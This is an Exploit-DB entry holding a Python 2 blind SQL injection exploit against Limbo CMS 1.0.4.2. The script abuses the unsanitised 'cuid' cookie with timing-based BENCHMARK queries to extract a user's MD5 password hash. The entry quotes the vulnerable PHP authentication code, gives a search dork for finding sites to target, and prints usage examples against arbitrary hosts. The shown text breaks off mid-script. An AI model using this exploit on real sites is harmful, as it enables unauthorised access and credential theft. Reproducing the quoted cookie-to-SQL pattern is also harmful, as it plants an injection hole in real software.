Exploit-DB #5088
Description: Limbo CMS 1.0.4.2 - 'Cuid' cookie Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-02-09
Author: The:Paradox

Exploit:
#!/usr/bin/python
#=================================================================================================# 
#                     ____            __________         __             ____  __                  #
#                    /_   | ____     |__\_____  \  _____/  |_          /_   |/  |_                #
#                     |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\               #
#                     |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  |                 #
#                     |___|___|  /\__|  /______  /\___  >__|            |___||__|                 #
#                              \/\______|      \/     \/                                          #
#=================================================================================================#
#                                    This is a Public Exploit.                                    #
#				   Date: 08/02/2008 [dd,mm,yyyy]                                  #
#                                                                                                 #
#=================================================================================================#
#         Limbo 1.0.4.2 And Probably Lower Blind Sql Injection Exploit Benchmark Method           #
#                                                                                                 #
#                                       Vendor:   http://www.limbo-cms.com	                  #
#                                     Severity:   Highest                                         #
#                                       Author:   The:Paradox                                     #
#=================================================================================================# 
#                                       Proud To Be Italian.                                      #
#=================================================================================================#
"""                                                                                                
                                            Related Codes:
                                        class_auth.php; line 92:

function Auth()
{
if(isset($_SESSION['uid']) && $_SESSION['uid']!='')
	{
	$this->id=$_SESSION['uid'];
	$this->initlogin();
	return;
	}
//cokkie

if(isset($_COOKIE['cuid']) && isset($_COOKIE['cusername']) && isset($_COOKIE['cpassword']))
	{
	global $conn,$lm_rand;
	$row=$conn->GetRow("SELECT * FROM #__users WHERE id=".$_COOKIE['cuid']);
	if($_COOKIE['cusername']==$row['username'] && $_COOKIE['cpassword']==md5($lm_rand.$row['password']) ) {
	$this->id=$_COOKIE['cuid'];
	$this->initlogin();
	}
	}
}

"""
#=================================================================================================#
# Proof Of Concept / Bug Explanation:                                                             #
#                                                                                                 #     
# Cuid cookie isn't propelly checked. Blind Sql Injection Vulnerability. In this exploit I'll use #
# benchmark method.                                                                               #
# Additionally database prefix isn't needed, 'cause the coder automatically replaces "#__" with   #
# the prefix in GetRow Function (is a REAL bad practice) .                                        #                                                          
# Limbo allows also an installation without sql database (Flat). I'm working on it.               #
# This exploit cannot work on that type of installation.                                          #
#=================================================================================================#
# Google Dork=> Site powered By Limbo CMS	                                                  #
#=================================================================================================#
# Use this at your own risk. You are responsible for your own deeds.                              #
#=================================================================================================#				          
#                                      Python Exploit Starts                                      #
#=================================================================================================#

import httplib, sys, time
print "\n#=========================================================#"
print "           Limbo CMS 1.0.4.2 And Probably Lower          "  
print "            Blind Sql Injection Vulnerability            "
print "                   Benchmark Method                      "
print "                                                         "
print "               Discovered By The:Paradox                 "          
print "                                                         "
print " Usage:                                                  " 
print " %s [Target] [Path] [User_id]                            " % (sys.argv[0])
print "                                                         "	
print " Example:                                                " 			
print " %s 127.0.0.1 /limbo/ 1                                  " % (sys.argv[0])
print " %s www.host.com / 1                                     " % (sys.argv[0])	
print "                                                         "	
print "                                                         "		
print "#=========================================================#\n"
if len(sys.argv)<=3:	sys.exit()
else:   print "[.]Exploit Starting."

target = sys.argv[1]
path = sys.argv[2]
user_id = sys.argv[3]

benchmark = "200000000" #Set This One
vtime = 6 #Set This One
port = "80"

j=1
h4sh = ""
md5tuple = []

for k in range(48,58):  # 48->57 and 97->102
	md5tuple.append(k)
for k in range(97,103): 
	md5tuple.append(k)
md